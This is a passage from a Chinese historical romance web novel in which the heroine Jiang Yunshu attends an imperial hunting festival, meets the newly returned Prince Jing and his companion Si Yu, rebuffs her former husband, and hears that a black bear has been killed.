“最要感谢的是你!” 姜云舒扭头,朝谢无烬露出一个满足的笑。 谢无烬一顿,她这笑容漾开,他脸上的阴霾一下子就散了。 嗯,还是有点良心的。 山林的夜晚其实是吵闹的,除了蝉虫的鸣叫,还会时不时传来远处野兽的吼叫,胆子小的,一晚上都睡不踏实。 许是打了几场擂台,姜云舒是真的累到了,头沾了枕头便睡着了,这一晚上,睡得格外沉。 一夜无梦。 姜云舒醒来时,出猎的号角尚未吹响,但是营帐之外传来的是裴钰略显急躁的声音。 “姜云舒,出事了!” 说话间,裴钰已经冲进了营帐。 此时姜云舒和月禾正在用早膳,冷不丁被裴钰这一声惊吓,差点将筷子扔出去。 “裴世子,大清早的,容易把人吓得离魂!”月禾没好气地稳住了自己的饭碗。 若是平常,裴钰高低得跟月禾你来我往两句,可这一次,他却没听到一般,直接忽略了。 “刚刚传来的消息,庄锡恒昨晚被你揍了之后,泄愤夜猎,结果被深林里的黑熊咬了手臂。”裴钰大概是跑过来的,说完,急喘了一口气。 “什么?”姜云舒的筷子突然停住,惊讶的表情里还有几分怀疑,“凤台山,哪里来的黑熊?” 虽说回京不过三年,但因为仁春堂准备自行种植药材的缘故,姜云舒对京城周边的土地都探测过,也包括凤台山, 整个京城周边都没有黑熊的踪迹。 “是说呢,这么多年,也没听见说凤台山有黑熊出没,可能是原本也藏得深,前几日是深林那边一炸就给炸出来了,兵部侍郎带人去营救,虽然并没有抓到那黑熊,但也确实在不远处的山洞里发现了那东西住过的痕迹,如今已经布置了陷阱,说不定狩猎节结束前能抓到。”裴钰道。 裴钰属于纨绔中还有点本事的,各方面虽不精,但也都懂点,尤其在打探消息这方面,有时比探子都灵。 姜云舒闻言,蹙眉深思,脸色微微低沉下来。 倒不是说庄锡恒泄愤夜猎是因为自己,而是,庄锡恒出事的这个时间点有些太过合理又巧合。 黑熊……她想着,脑子里忽的出现了一个画面。 之前跟踪铁匠去万踪林时,差点被死士发现,就是一只黑熊转移了那些死士的注意力。 黑熊……谢无烬? 姜云舒眸光一闪,心口涌上一股说不上来的感觉。 她是姜家唯一的女儿,自然是习惯被人护着的,可这个人是谢无烬,却和当初大哥二哥给她平事儿出气时的感觉不一样。 “姜云舒,你是不是想到了什么?”裴钰看她思绪飘远了,忍不住开口。 “没,只是觉着蹊跷。”姜云舒随口应了一声。 若是以前,姜云舒大概会跟裴钰坦白,可如今他和庄心悦的婚事在即,因为这件事让他们心生嫌隙,得不偿失。 “哦!”裴钰也没多想。 “现下庄锡恒情况如何?”姜云舒转移重点。 “昨晚抬回来时就请了薛神医过去,说是手臂保住了,但是缺了一块肉,往后大概不能再用剑了。” 说着,裴钰忍不住叹一口气,“现在庄伯伯的脸色应该很难看。” 世上最痛苦莫过于白发人送黑发人,太师先是送走了自己最疼爱的嫡子,如今这个虽还活着,可终究撑不起太师府了。 不只是太师,整个庄家人都要心神不宁了。 “这两日,你多陪陪庄心悦吧,到底是她兄长。”姜云舒道。 “知道,早就安慰过了。” 裴钰却不以为意,“反正她这个兄长的名头也是仗着她爹来的,真要上战场也不顶事儿!” “你这是安慰人的话?”姜云舒忍不住翻了个白眼。 正说着,外面传来议论声。 “敬王到,快出来迎接!” “敬王?” 姜云舒下意识蹙眉。 她没有收到消息,这敬王怎么就突然回京了? 第232章 又见漂亮公子 敬王…… 姜云舒脑子里闪过高芝兰传过来的消息,面色沉了沉,看向裴钰。 “你可接到敬王回京的消息了?” 之前根据高芝兰送来的情报,沈清安背后之人的怀疑对象,其中一个便是敬王,而他亦是同样在回京的路上。 “敬王行踪私密,原是太后薨逝时回京吊丧的,结果身边之人路上病重,便拖延了行程。”裴钰回答。 姜云舒眉梢微动,回京吊丧,那倒是没什么可惊讶的,只是,到底是什么样的人,能让敬王拖延奔丧? 既然这么重要,却并没有成为敬王府的女主人,敬王如今而立之年,没有王妃也没有侧妃,这倒是姜云舒更加好奇的。 “你说的身边人,可知道什么来历?”姜云舒又问。 裴钰子手里捻着茶盏,低头喝一口,道:“听说是个绝美之人,其他,便在没有更多的信息了。” 说着,他蹙了蹙眉,敬王府那边的消息,真真不容易打探。 “有多绝?”姜云舒眉梢轻佻。 “据说是天仙一样。”裴钰将杯盏放在桌山,眨眨眼睛,“要不要去看看?” 说着,不等姜云舒回答,拽着她就往外走。 姜云舒和裴钰到时,凤台山入口已经分列候着很多人。 伸着脖子往远处看,就见一列车队缓缓停在入口的官道。 侍卫上前掀开车帘,就见一身着锦缎幻紫长袍的男子从马车中走出来。 男人面如冠玉,浓黑的眉如两把利剑,漆黑的眸子里似被蒙上一层水雾,使得他的眼神看起来朦朦胧胧的,让人一眼看不真切。 说起来,姜云舒也是第一次见到敬王,他脸上明明神情平淡,却让人自发心中一紧,不敢与他对视,这压迫感,比皇上更甚。 此时敬王从马车出来却并没有急着下车,而知转身朝里面伸手。 一只白皙纤细的手探出来,落在敬王手心,随后,同样的锦缎长袍露出衣角。 姜云舒瞧着只觉熟悉,等那人走出马车,一张倾城绝世的脸出现,她视线倏然一顿。 是那个漂亮公子! 此时他锦衣玉冠,没了之前在山林之中受伤的狼狈,更比第一次见时还要惊艳。 从面相上看,他是很标准的大瑞人,自马车上下来,举手投足之间透着高贵气质,不是一朝一夕训练出来的优雅,而是骨子里带着的。 不只是姜云舒,周边候着的重任瞧见那张脸,也不由得面露震惊地瞪大眼睛。 天仙,也不过如此吧! 只是,这天仙怎么是个男的? 怔愣之余,姜云舒扭头看向不远处的谢无烬。 谢无烬似乎感知到姜云舒的视线,扭头与她对视,朝她挑了挑眉,似是在说:“原来,他是敬王的人。” 这边敬王亲手扶着那漂亮公子下了马车,径自朝皇上和皇后的走了过去。 “臣弟参见皇上,皇后!” 敬王上前行礼。 漂亮公子也跟着跪在一旁。 “敬王一路奔波辛苦了,快快免礼。” 皇上抬手,亲自扶着敬王起身,视线在漂亮公子脸上扫过,似是有一瞬间的迟疑。 “这是……” 皇上的视线从漂亮公子身上移开,看向敬王。 “回皇兄,这是斯羽,臣弟此生至交,臣弟如今能回京再见皇兄,便是斯羽舍命相救,如今他在敬王府协助臣弟打理一应事务。” 姜云舒在一旁看着,眼睛动了动。 从刚才敬王亲手扶他下车时的眼睛,可不只是至交好友。 “草民斯羽参见皇上,皇后娘娘。”斯羽再行礼。 “快免礼。”皇后虚抬了抬手。 斯羽起身,自然地站在敬王身侧,此时,三皇子和六皇子一众人上前。 “拜见皇叔!” “拜见敬王殿下!” 众人跟着一同叩拜。 姜云舒也跟着委了委身,随着敬王让免礼,起身时抬头,忽然与敬王的视线对上。 霎时,一股强的压迫感笼罩过来,姜云舒顿了一下,收回视线,却依旧能感觉到敬王那威厉的目光还落在她身上。 姜云舒确定这是第一次见敬王,自己一个小辈,为何会让他生出那种目光? 她正想着,此时就见斯羽身体晃了一下。 “怎么了?” 敬王急忙伸手扶住他,视线瞬间收回,变得柔和,“可是哪里不舒服?” “没,大概是累了。”斯羽低低开口。 敬王眉间稍稍舒缓,回头正要跟皇上和皇后请辞,却被斯羽拉住手臂。 “我们刚回京,皇上一定有很多话要与你说,我自回去歇歇便可,你不必跟来。” 他的声音温润,听起来舒缓平静。 敬王犹豫了一下,终是点了点头,吩咐身边小厮。 “吩咐下面煮一些药膳备着。” “是!” 小厮应声,上前扶着斯羽去了敬王府的营帐。 姜云舒回头看了一眼,这才发现,不知何时,庆王府营帐旁边的那块平地已经支起了营帐。 原来是给敬王预留的位置,难怪之前那么好的空地没有人选,不是不选,而是没资格。 狩猎节还在继续,不管是庄锡恒受伤还是敬王回京,都影响不了这一年一度的大节。 姜云舒身上又添新伤,这一回,众人都不许她再出猎,她拗不过,只能留在营地。 狩猎节只能留守营地,还有比这更惨的事情吗? 而且,县主府就这么几个人,姜云舒不能出猎,总不能没有进账,便派了月禾进林,这下,就留她一个人了。 她无聊,便去找薛神医,结果薛神医正在炼药,姜云舒话还没说一句就被薛神医赶了出来。 也怪她,以前每次进师父的炼药室,总得给她炸点什么,如今她便成了师父炼药室里唯一禁止入内的了。 没有办法,姜云舒一个人百无聊赖围着猎场边缘四处闲逛,正逛着,就见一锦衣男子这边走了过来。 不得不说,远远看去,那男子身形姣好,虽看不见脸,但只凭外表,依旧能称得上玉树临风……个屁! 等那人走近才看清楚,竟然是沈清安! 姜云舒想给自己脑袋一拳! 想什么呢! 她皱了皱眉,下意识转身就要走,却听身后之人急匆匆喊了一句。 “云舒,你别走,我有重要的事要跟你说!” 第233章 渊政王府的喜事 沈清安快走几步上前,伸手欲拉姜云舒的衣袖,被被她一个冷眼扫过来,伸出的手便停在了半空。 “你……” “我并不觉得,我和你之间还能有什么重要的事情,沈大人,一别两宽,即便我们之间算不上好聚好散,但纠缠就没意思了。” 姜云舒声音疏冷,说话间往后退一步,离他更远一些。 沈清安脸上的表情逐渐沉了下来,但到底没翻脸。 “是关于谢无烬的!”他说。 姜云舒要离开的脚步顿住,扭头看沈清安,蹙眉问道:“你要说什么尽快说!” 见姜云舒冷淡的表情有了变化,沈清安一时间心情有些复杂,不知是该欣喜他的消息让姜云舒在意,还是该郁闷姜云舒在意的是谢无烬的消息。 不过此时他没时间纠结,毕竟姜云舒对他没什么耐心。 “你大概还不知道吧,渊政王府的小郡王也要来京了!”沈清安紧忙道。 姜云舒凝滞的神情微动,想着刚才还真就停下来等着他的话,就觉无语。 “所以呢,跟我有什么关系?”她翻了翻眼皮。 渊政王府小郡王,姜云舒除了知道他名叫谢怀琛之外,可以说根本不认识这个人。 沈清安扯了扯嘴角,紧忙道:“他回京,是因为渊政王府的喜事。” 他一边说着,视线落在姜云舒脸上,试图捕捉她的神情变化。 然而,姜云舒脸上依旧是那般冷淡,对于他这信息的回应只有一声冷笑。 “沈大人,你该不会想跟我说,渊政王府小郡王不远万里来京所奔的婚事是我?” “那,那倒不是。” 沈清安一愣,随即略带尴尬的扯了扯嘴角。 姜云舒一个白眼翻给他。 所以,到底干我屁事? 沈清安扯了扯嘴角,紧忙道:“听说,渊政王府家的喜事是皇上赐婚,定下的是五公主。” 赐婚,五公主? 这倒是让姜云舒有些在意。 先将谢无烬这个世子调回京城做质子,又将他最疼爱的五公主赐婚给郡王,皇上又在谋划什么? 难不成,他想召回渊政王府的兵力? 亦或者说,皇上要调换西晋边境驻军? 姜云舒猜不透,但如果沈清安所说为真,朝中怕是要有动荡。 沈清安见姜云舒表情终于有了变化,眸光一闪,眼底瞬间多了几分得意。 “就算谢无烬是渊政王府世子,可他留在京城便远离了王府的势力,而皇上此时赐婚那位郡王,很明显意在指定渊政王府的袭爵之人选便是那位郡王。” 沈清安一边说着,往姜云舒跟前凑了凑,“谢无烬已然是渊政王府弃子,一个弃子,于你来说可并非良配,你可要慎重些才是。” 姜云舒侧目朝沈清安睨了一眼,平心而论,这张脸的确英俊,可此时那小人得志的表情却尤为猥琐。 “沈清安,你巴巴跑过来对我说这些,是想让我谢谢你?” 她微微眯着眼睛,神情冷漠。 沈清安正要回答,却见她表情骤然收敛,“不管谢无烬是不是良配,你沈清安总不会是,而且,谢无烬尚未得到消息,你又如何得知皇上要赐婚的?怎么,你沈大人脸那么大,皇上单告诉你一人的?” 且不说渊政王府郡王的行踪消息是从哪里透露出来的,五公主的生母可是裴钰的姑姑,五公主赐婚裴钰能不知道? 裴钰都不知道,这事儿八成是不可靠的。 “你!”沈清安当即被噎得一句话都说不出来。 他原地愣了半晌,随后怒气冲冲的“哼”了一声,“你尽管不相信我,有你后悔的时候。” “我这人后悔的事情不多,当初眼瞎嫁入你沈家算一件!”姜云舒紧接着又堵一句。 这回,沈清安直接憋了个脸红脖子粗,真真说不出话来了。 他瞪眼半晌,最后拂袖离开。 姜云舒也带了气,她气自己竟然还听沈清安废话,白白浪费时间。 “姜云舒!” 这时,身后传来喊声。 姜云舒扭头,就见庄心悦和昭珩郡主走了过来。 刚才两人过来时,看到沈清安,庄心悦到跟前,当即脸色一沉。 “那个骗婚男怎么还敢在你面前出现?他该不会是后悔了,跑来找你破镜重圆吧?” 说着,她自己先急了,郑重地警告姜云舒,“你可别头脑发热,火坑跳一次就够了!” 说起来也奇怪,庄心悦跟沈清安甚至都不算认识,可对沈清安那股子恶心厌恶的劲儿真真是一点都不隐藏。 这让姜云舒难免有些奇怪。 “怎么,你也被沈清安骗过?”姜云舒忍不住揶揄她。 结果,这话一出口,庄心悦急了。 “呸呸呸,本小姐才看不上那种绣花枕头,也就是你眼瞎,放着京城那么多出身好,品行好的公子不选,偏偏选个烂了瓤的葫芦!” 庄心悦没好气地朝姜云舒翻了个白眼。 “那你为什么那样讨厌他?”姜云舒又问。 “还不是因为你!”庄心悦撇了撇嘴,“以前你多潇洒一个人,自从入了那寒门,处处放低身段为他们铺路,你在火坑里那三年,可一点战场上飒爽的影子都没了,你说气不气!” 这…… 姜云舒忍不住扯了扯嘴角。 庄二这是恨铁不成钢? 她在不知道的时候,就被庄二操着老母亲的心了? 不是,庄二什么时候对自己这样关注的? 回想起来,难怪当时庄二遇上她和沈家人时便一脸尖酸的模样,原来,她酸的不是自己,而是针对沈家人啊! 要不是知道她对裴钰心有所属,姜云舒真的要怀疑她喜欢自己了! 见庄心悦还愤愤的,昭珩郡主忍不住走上前来。 “万幸姜姑娘如今已经脱离了那火坑,你就别再说了。” 庄心悦这才回过神来,想着他们来找姜云舒的目的,扭头看向姜云舒。 “见你气色好些,我就放心了,肩膀上的伤可还疼?” 昨晚离开时,姜云舒的脸都是白的。 “那点小伤不算什么,已经好多了。” 姜云舒不以为意的勾了勾唇角,转而问:“听说你大哥夜猎被黑熊咬伤,如今怎么样?” 第234章 我叫姜云舒 这话问得庄心悦眉梢垂落,沉沉地叹一口气。 “尚未危急性命,只是那只胳膊……哎呀,怎么竟说些晦气的事儿!”她一摆手,强装不在意。 虽说庄锡恒受伤的确会对整个太师府带来巨大的影响,可她一个闺中女儿又能做什么呢? 即便以后庄锡恒如二哥一般撑起一方军营,以他如今行径也不会对自己和母亲多好。 她明白的,她什么都改变不了。 无能为力的事,何必为难自己,庄心悦索性换了个话题,“我和昭珩都不喜欢采花,便来找你了,你有没有什么新鲜的?” 世家女子多数都是深闺之中娇养的,最多的活动便是在三五下人陪同之下,采摘山野树林之中鲜嫩的花或插瓶或编成花环。 庄心悦属于有心习武,奈何家里不允许,但又学不来那些提着裙子小心翼翼满山跑的娇娘,所以这采花,对她来说毫无兴趣。 昭珩郡主倒是无所谓,但姜云舒昨晚到底因为帮她争抢庄锡林的护腕受了伤,还是要来看看的。 姜云舒手里拽着一根狗尾巴草,眼睛朝四处看了一圈。 这能有什么新鲜的? “要不,我教你们射箭?”姜云舒眨眨眼睛,“等学会了,便去浅林区试试,没准还能带回点猎物呢。” 左右也是玩儿嘛,毕竟是狩猎节,总要动一动。 深林危险,兵部便划分了一片浅林区,供那些年幼公子练习或者玩乐,其中一些小型猎物还是刻意放进去的。 “嘿,这个好!” 庄心悦眼睛顿时一亮,扭头看昭珩郡主,就见昭珩郡主也跟着点了点头。 姜云舒招呼几个侍卫抬了两个靶子过来。 庄心悦难得能摸弓,当即兴奋起来。 昭珩郡主也面露欣喜,只是在手触及那弓时,似是有什么记忆袭来,眼神有些复杂。 很快,庄心悦和昭珩郡主便各自拿了弓,站在各自的靶子对面。 姜云舒逐一跟他们说了动作要领,便让她们自行上手试炼。 “庄心悦,重心要稳!” “前手肩膀放平!” “别靠蛮力,要考骨骼支撑!” “庄心悦,你好歹出身武将世家,这手爪子怎么跟掰不开似的,一天天吃那么多,拉个弓怎么这么费劲!” 姜云舒逐渐开始暴躁。 庄心悦被教训更懵了,拿着弓一脸委屈,“我虽出身武将世家,可爹爹不许女眷习武,我有什么办法!” 庄家女儿之中,皇后姑母是唯一一个习武的,所以,父亲和皇后姑母从小就不对付。 正说着,此时耳边“嗖”的一声,两人同时扭头,就见昭珩郡主射出的箭正中靶心! 庄心悦猛地瞪大眼睛,难以置信,“昭珩,你是不是背着我偷偷练过!” 昭珩郡主微微抿唇,点头,“是以前曾经学过一些……” 她脸上没有被夸赞的反而似是回忆起什么,多了一丝悲伤。 姜云舒和庄心悦瞬间反应过来,大概,是庄锡林教她的吧。 “以你们现在这个程度,圈养的猎物应该也不成问题,不如去浅林之中练练手?”姜云舒转移话题。 “嗯嗯,我正手痒!” 庄心悦连连点头,不管昭珩郡主同意不同意,拽着她就走。 浅林之中,围栏圈起来的区域便是圈养场地,三人带着弓箭进去便开始寻找猎物。 虽说准头不行,可架不住庄心悦兴奋,浅林之中不骑马,她一进浅林就跟被狗撵似的,疯了一样追着猎物满场跑,一炷香的功夫,猎物没抓到,倒是把自己累个够呛。 这边昭珩很快就瞄准了兔子,可弓拉满了,半晌没见出手。 姜云舒差异地看过去,就见她拧着眉头一脸为难。 “要不还是别了吧,我们也不差这点肉。” 姜云舒眼皮沉了沉,深吸一口气,努力保持微笑,“你没吃过兔子肉吗?” 小兔子虽可爱,但架不住它更解馋啊! “吃过。” 昭珩郡主抿了抿唇,“可是,自己亲手猎杀,罪孽感比较大。” 姜云舒扯了扯嘴角,无语。 “进了你的嘴,这业障你就跑不了!” 她没好气,可是瞧着昭珩郡主那一脸不忍心的模样,最后叹一口气,给她换了软箭头。 “呐,抓活的!” 这俩人,一个实在抓不着,一个实在不忍心,姜云舒终于看不下去了,自己拉弓上箭。 一个时辰后,在姜云舒的加持下,还是猎到了不少好东西。 有弥羊,有野兔,还有羽毛五彩斑斓的山鸡。 三个人拎着猎物往回走,刚从浅林出来,迎面就遇上了那位天仙。 斯羽似是专门在这里等,见她们出来便走了过来。 庄心悦和昭珩郡主面面相觑,正纳闷,却见姜云舒迎面走了过去。。 “伤可好些了?”姜云舒开口。 既然是专门在这这里等她,就不好装不认识了。 “嗯,已经好多了,多谢挂念!”斯羽开口,朝姜云舒笑了笑。 庄心悦和昭珩刚好走过来,抬眼就瞧见斯羽那微微一笑,两人眼神一顿,忍不住暗自称赞。 真好看! 不光好看,说话也好听,那声音清澈又干净,他真不是下凡的谪仙吗! “咦,你们认识吗?”庄心悦忍不住开口。 “是,之前在下在城外离队时遇到麻烦,多亏乐安县主出手相救。”斯羽率先开口。 “应该的。”姜云舒应一声,自动忽略了其中过程。 斯羽不再说话,只是含笑地看着姜云舒。 昭珩郡主看出斯羽有话要说,上前一步,“我和心悦先将猎物送回营地。” 说着,不等庄心悦开口,拉着她离开。 等两人走远,斯羽再次看向姜云舒,“没想到会在这里遇见你,更没想到,你便是为灾民安身的乐安县主。” “公子谬赞了,不过是尽力而为。”姜云舒弯了弯唇角,神情一如往常平淡。 “难能可贵的便是这份‘尽力而为’。” 斯羽眼神依旧温润柔和,他看着姜云舒,犹豫了一下,还是开口,“ 那日我将你给的金疮药带回去,王爷便认出那是定国将军府的药,你……” “斯公子,定国将军府已经不复存在。”姜云舒打断他的话,仰起头,“如今,我只是姜兆霖的女儿,我叫姜云舒。” 第235章 试探,厌恶 斯羽视线落在姜云舒脸上,眼神温和。 “自锦州往京城的这一路上,在下听到不少有关乐安县主的传闻,县主心怀天下,只凭传闻,想象不出一个具善良坚强,勇敢独立又心怀天下的姑娘,究竟会是何等风貌,如今本人就在眼前,果真让人眼前一亮。” 他眸中含笑,不吝称赞。 “公子谬赞了,心怀天下不敢,我只是遵从本心,做自己想做之事,至于勇敢独立,人生苦短,何必为难自己,受世俗裹挟呢。” 有些事情不必明说,姜云舒心里却是有数的,对于陌生人来说,她这个乐安县主成为众人口中议论的焦点还真不少,除了定国将军府罪臣之女的身份和收留锦州灾民的义举,最热门的话题便是休夫一事。 姜云舒并不觉得这是什么丢人的事,更何况,嘴巴长在别人脸上,她不受言论绑架也不避讳谈论。 说话间,姜云舒的视线下意识朝斯羽的衣袖处看去。 今日,他这一身穿着与那日在树林之中相遇时穿的是同一件,在他说话时,衣袖摆动,同样隐约露出上面的文案。 姜云舒不着痕迹的观察,却发现那衣袖上的图案并不是那晚看到的。 两个图案很相似,若是常人,定然会认定成同样的图案,可姜云舒历经战场,饶是细微的差别,依旧能一眼分辨出来。 “县主为人通透,能得以相识,也算我之幸事。” 斯羽声音温润如清泉,便是姜云舒对他有试探和防备,却并不讨厌。 “彼此。” 姜云舒并不善于相互恭维,说着,将手里拎着的弥羊往斯羽跟前提了提。 “斯公子远道而来,应该没尝过凤台山弥羊的鲜嫩,要不要试试?” 弥羊属于小型牲畜,体型也就比兔子大一些,看起来可可爱爱,吃起来能让人变得可爱。 斯羽低头瞧着姜云舒手里的弥羊,回想着年幼时来凤台山猎了弥羊去河边烤食,那滋味,他可是太怀念了。 只是回想,口中便不自觉的分泌津液,他下意识咽了一口口水,正要回答,却听声音自神后传来。 “斯羽!” 姜云舒和斯羽同时扭头,就见敬王走了过来。 到跟前,敬王自然的伸手握住斯羽的手,那冰凉的触感传来,他不由得皱起了眉头。 “山林风凉,你怎么出来了?” 斯羽面色微动,下意识想要收回手,可那人并没有松开的意思,抽了两下没有抽出来,便也只能任由他拉着。 姜云舒顿了一下,视线从他们拉在一起的手上移开,朝敬王行礼。 “参见敬王殿下。” 敬王侧目,威厉的视线在姜云舒脸上扫过,冷哼一声。 “听说你最近在京城名声大噪,你倒是精力充沛!” 他的言语之间带着嘲讽。 定国将军府全家流放苦寒的崖州,姜云舒却在京城这安逸之地上蹿下跳,真真是没心没肺。 姜云舒分辨不出敬王是嘲讽自己不顾家人,还是因为父亲一案单纯看不上自己,不管是哪种,自己在敬王眼里并没有留下好印象。 她抬起头,迎着敬王冷厉的视线,唇角依旧带笑。 “那敬王殿下觉着,我应该如何呢?我手中无凭无据无实权,我总不能去死吧?” 一句话,并未带任何情绪,却让人敬王当即一噎。 那凌厉的眼神在姜云舒身上扫过,半晌,话题一转,“听说,前几日后山爆炸,是你将七公主救回来的?你可知,你引七公主所到的山洞之中,囤藏的是什么?” 一句话里,藏着无数个坑。 他知道后山爆炸时,姜云舒就在那一片区域,而他说的是姜云舒引七公主去山洞,便直接给她扣上了一个居心不良的帽子。 说话的同时,敬王那审视的视线直落在姜云舒脸上,试图从她眼中找到慌乱和试图隐藏的信息。 然而,姜云舒那双眼睛非但没有任何变化,反而迎着他的视线看了回去。 “爆炸之时,我闻到了火药的气味,醒来时,已经将所知信息禀报给了皇上和皇后娘娘,至于其他,依从皇上吩咐,不必管,不用想。” 姜云舒说着,看向敬王的视线之中同样多了几分怀疑,“只是,后山爆炸之后,皇上已经明令禁止除麒麟卫,其他人不得议论,亦不可再靠近,敬王殿下刚刚回京,是如何得知详细情况,又是从何判断,是我引导七公主去的那山洞呢?” 她向来不喜欢做热脸贴冷屁股的事,既然敬王对她的厌恶表现得这样明显,那这波恶意自然也是要还回去的。 “呵,真真是唐珩的女儿,真真是巧舌如簧!” 敬王的脸色比刚来时还要阴沉,此时看向姜云舒的眸中隐约之间透出了危险气息。 “王爷!” 斯羽察觉到不对,紧忙拉住敬王,“你不是说天云涧里的鱼最肥美,我们去捕上两条回来吧!” 说话间,扭头朝姜云舒抿着唇点点头,让她不要计较,不等敬王再说话,紧忙拉着他走。 似是斯羽难得提要求,敬王诧异瞬间,收敛怒意随他离开。 姜云舒远远看着敬王和斯羽离开的身影,握紧的双手逐渐散开。 说起来,北域和敬王封地相去甚远,两家几乎没有交集,敬王究竟是从哪里对自己来的这么大的敌意? 敬王多年不理朝政,即便和父亲有过节,也是他们那一辈的事情,何苦为难自己一个晚辈? 而且,从他和斯羽相处来看,他对斯羽是极为重视的,自己救了斯羽的命,恩情不奢求,他至少不用对自己冷脸相对吧? 姜云舒想不明白,算了,不想了。 自己又不是金银,凭什么要求别人都看自己顺眼呢? 再说,敬王对于自己来说,也不是什么重要的人。 她撇撇嘴,拎着弥羊回到恭王府营帐。 此时,众人正在搭建炉灶。 闵青鸢带着稚儿跟兔子玩儿,那兔子便是昭珩郡主舍不得杀生,用软箭头猎的活兔子。 另一边,小厮架好了炉灶,庄心悦和昭珩郡主正准备着烤兔子。 庄心悦胆子大,手里拿着剥了皮穿好的兔子,昭珩郡主还是皱着眉头一脸不忍心,她躲在庄心悦身后盯着,见庄心悦就要开始烤,小心翼翼地提醒一句。 “心悦,你还没放盐。” 第236章 黑熊被猎到了 “哦,对!” 庄心悦紧忙抓了盐洒在处理好的兔子上。 姜云舒远远看着,嘴角不受控制的抽了一下。 啧,不得不说,昭珩郡主还真……周全! 正看着,稚儿瞧见姜云舒过来,脆亮亮的嗓音喊了一声。 “姑姑!” “哎!” 姜云舒转身,晃了晃手里的弥羊,朝稚儿和闵青鸢走了过去。 到跟前,闵青鸢伸手接过弥羊,忍不住嗔一句,“你身上还带着伤,怎么就不能安安稳稳的养一养!” “哎呀,好不容易来一趟凤台山,不打点什么回去,不是白来了?更何况,我们稚儿都跟我许了愿,怎么能不满足呢!” 说着,姜云舒抬手,从弥羊身上挂着的那只袋子里掏出两只毛皮是纯白色的兔子。 “哇,小白兔叽!”稚儿欢呼着跑过来。 凤台山兔子多,但大多都是灰色和土黄色的,全身雪白的可不多见。 姜云舒将两只白兔给稚儿放在地上,问:“稚儿可还喜欢?” “稚儿好喜欢!”稚儿仰着笑脸,然后一把抱住姜云舒的腿,“稚儿更喜欢姑姑!” 软糯糯的一句话,说得姜云舒心都化了,这要什么不得给弄来啊! 说起来,狩猎可比教人累多了,尤其庄心悦这种,五个手指头分不开的,真真是身心都被摧残。 用过烤肉之后,姜云舒回到自己营帐,原本只是打算歇个午觉,也不知是身体还没缓过来,还是被庄心悦累的,这一觉,竟直接睡到了傍晚,还是月禾狩猎回来之后叫她,才醒的。 “小姐,快醒醒吧,再睡下去,晚上该睡不着了。”月禾轻声,一边叫起,一边哄着。 姜云舒朦朦胧胧睁开眼睛,见到月禾在跟前,顿时清醒过来。 “月禾,你怎么回来……” 说话间,她扭头朝外面看去,这才发现,天都要黑了。 “这么晚了?” 她坐起身来,问,“今日收获如何?” “还行,红狐还是猎到了几只。” 月禾回一句,随即眉梢一挑,面上露出兴奋,“我这不算什么,今日狩猎可谓是最精彩了,不光谢世子猎到了那彩头的梅花鹿,敬王入山之后,竟然猎到了一头黑熊。” 黑熊? 姜云舒眸光一滞。 “是伤了庄锡恒的那头黑熊?”她下意识开口。 “应该就是了,原本山洞那片被兵部隔离出来了,结果那黑熊冲了出来,正好撞上敬王的队伍,那时敬王刚进山,一队人立刻布阵围剿,最后敬王殿下一剑插入那黑熊脑袋上,这才收了回来。”月禾说的一脸兴奋。 当时的场景惊险又刺激,月禾也是在经营中长大,切磋比试是常有的事儿,见过的高手不在少数,今日见那敬王出手,真真是让她全程张大嘴巴,没有合拢。 在她十六年的人生里,除了自己老将军,敬王是她见过武功最强的了,万箭都穿不透的熊皮,被他一剑刺破,那力道和内功,回想起来都觉着震撼。 可惜了,小姐受伤没能亲眼看到。 想着,月禾扭头看向姜云舒。 此时姜云舒眉头拧着,却并非是遗憾没看到那震撼的场面,而是,那黑熊是谢无烬的啊! “走,我们出去看看!” 姜云舒尽快下床,披了外衣就朝营帐外走去。 快到篝火营地时,正好迎上回归的队伍。 裴钰正拎着一只长毛的白貂跟庄心悦显摆。 “你是不知道,这小东西还会装死呢,要不是我反应快,这手指头都得给它咬掉!” 裴钰一边说着,将白貂拿给身边的小厮,“等我回去拿给家里的裁缝,给你做一条雪白的围脖,配上你那条雪狐的斗篷,到了冬天得美成什么样!” “只一条,你还是拿回去孝敬老太君或者夫人,明日再有的,再给我。”庄心悦摆摆手。 两人正商量着,没瞧见姜云舒,朝着另一侧的太师府走了过去。 姜云舒扭头,又瞧见渊政王府的元太妃也正朝这边走来。 “元太妃,听说今年的彩头梅花鹿被谢世子猎到了,往后这一年,您这府上都得吉星高照呢!” 一旁贵妇人一边走着,一边跟元太妃恭维。 那彩头梅花鹿并非狩猎场中最珍惜的猎物,却是携着九色鹿美好寓意的象征,猎到它,不光能得皇上和皇后的奖赏,还能为门庭增加祥瑞。 也正是因为有祥瑞的加持,谁家在猎得彩头梅花鹿的这一年,就连皇上也会格外恩宠。 元老太妃此时红光满面,连连点头应着,“世子到底是上过战场的,虽脾气不甚温和,但不管是相貌还是才能,也都算出挑的。” 这倒不是吹嘘,毕竟,谢无烬的功勋在那里,只是,这话里话外的意思,怎么越琢磨越觉着元老太妃这是想给谢无烬说媒呢? 姜云舒下意识蹙了蹙眉,眼瞧着元老太妃和旁边夫人聊得五官飞舞,深吸一口气,转向篝火场的高台上。 此时,已经有人陆陆续续将猎到的上等猎物抬上了高台,有赤血羚羊,有硕大体型的野猪,还有体型虽小却稀有的小兽。 谢无烬的梅花鹿算不上猛兽,但那鹿角上系着红绳,是指定的头彩,而此时高台上最引人注目的便是那头黑熊。 黑熊通体漆黑,厚重的皮肉上,被割伤砍伤好几处,其中最严重的一处皮肉外翻着,露出惨白的肉脂部分,太惨烈,让人不敢直视。 黑熊被抬上来的瞬间,专注度是甚至超过彩头梅花鹿,一度将众人的注意力全都引了过来, “哎哟,这么大的黑熊,若非亲眼所见,谁能想到它能被捕获?” “说得是啊,那太师府的大公子还能留一条命在,那可真是算命大了!” “听说敬王殿下可是高手排行榜上的,比雷统领还要厉害!” 众人忍不住小声议论,而此时太师府那边,庄太师一脸阴骛的盯着那黑熊,攥着拳头的双手止不住轻颤,不知是在愤怒那黑熊断了他庄家唯一男嗣的后路,还是懊恼这黑熊不是他亲自猎到的,不能手刃这畜生。 姜云舒叹一口气,又抬起头来,此时视线落在刚走上高台的谢无烬。 谢无烬一脸平静,可这表情看在姜云舒眼里,却让她不由得蹙起了眉。 第237章 你这么关心我? 此时谢无烬也正好朝姜云舒看过来,两人视线相遇,他微微勾起唇角,朝姜云舒笑了一下。 他笑了一下? 姜云舒一时间更加诧异,他的熊都被伤成这样,看样子定然是难逃一死的,他竟然还有心情笑? 正诧异这,此时有宫人过来做纪录,狩猎者,物种,重量,都要纪录。 